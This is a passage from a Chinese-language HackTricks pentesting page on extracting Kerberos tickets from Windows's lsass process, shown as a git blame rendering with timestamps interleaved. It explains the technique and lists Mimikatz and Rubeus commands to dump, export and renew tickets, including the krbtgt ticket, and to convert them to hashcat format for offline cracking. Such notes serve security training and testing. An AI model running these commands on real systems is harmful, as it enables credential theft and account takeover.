2024-07-19 10:11:43 +00:00
|
|
|
|
# 从Windows中提取票证
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<summary>支持HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% endhint %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
Windows中的票证由**lsass**(本地安全授权子系统服务)进程管理和存储,该进程负责处理安全策略。要提取这些票证,必须与lsass进程进行交互。非管理员用户只能访问自己的票证,而管理员则有权提取系统上的所有票证。对于此类操作,工具**Mimikatz**和**Rubeus**被广泛使用,每种工具提供不同的命令和功能。
|
2024-02-05 02:56:36 +00:00
|
|
|
|
|
|
|
|
|
### Mimikatz
|
2024-07-19 10:11:43 +00:00
|
|
|
|
Mimikatz是一个多功能工具,可以与Windows安全进行交互。它不仅用于提取票证,还用于各种其他与安全相关的操作。
|
2022-08-13 23:06:40 +00:00
|
|
|
|
```bash
|
2024-02-05 02:56:36 +00:00
|
|
|
|
# Extracting tickets using Mimikatz
|
2022-08-13 23:06:40 +00:00
|
|
|
|
sekurlsa::tickets /export
|
2024-02-05 02:56:36 +00:00
|
|
|
|
```
|
|
|
|
|
### Rubeus
|
2024-07-19 10:11:43 +00:00
|
|
|
|
Rubeus 是一个专门为 Kerberos 交互和操作量身定制的工具。它用于票证提取和处理,以及其他与 Kerberos 相关的活动。
|
2024-02-05 02:56:36 +00:00
|
|
|
|
```bash
|
|
|
|
|
# Dumping all tickets using Rubeus
|
2020-07-15 15:43:14 +00:00
|
|
|
|
.\Rubeus dump
|
|
|
|
|
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
|
|
|
|
|
2024-02-05 02:56:36 +00:00
|
|
|
|
# Listing all tickets
|
2022-08-13 23:06:40 +00:00
|
|
|
|
.\Rubeus.exe triage
|
2024-02-05 02:56:36 +00:00
|
|
|
|
|
|
|
|
|
# Dumping a specific ticket by LUID
|
2022-08-13 23:06:40 +00:00
|
|
|
|
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
|
|
|
|
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-05 02:56:36 +00:00
|
|
|
|
# Renewing a ticket
|
|
|
|
|
.\Rubeus.exe renew /ticket:<BASE64_TICKET>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-05 02:56:36 +00:00
|
|
|
|
# Converting a ticket to hashcat format for offline cracking
|
|
|
|
|
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
在使用这些命令时,请确保将占位符如 `<BASE64_TICKET>` 和 `<luid>` 替换为实际的 Base64 编码票证和登录 ID。这些工具提供了广泛的功能,用于管理票证和与 Windows 的安全机制进行交互。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
## 参考文献
|
2024-02-08 22:20:49 +00:00
|
|
|
|
* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2024-02-08 22:20:49 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<details>
|
2024-02-08 22:20:49 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2024-02-08 22:20:49 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
2024-02-08 22:20:49 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% endhint %}
|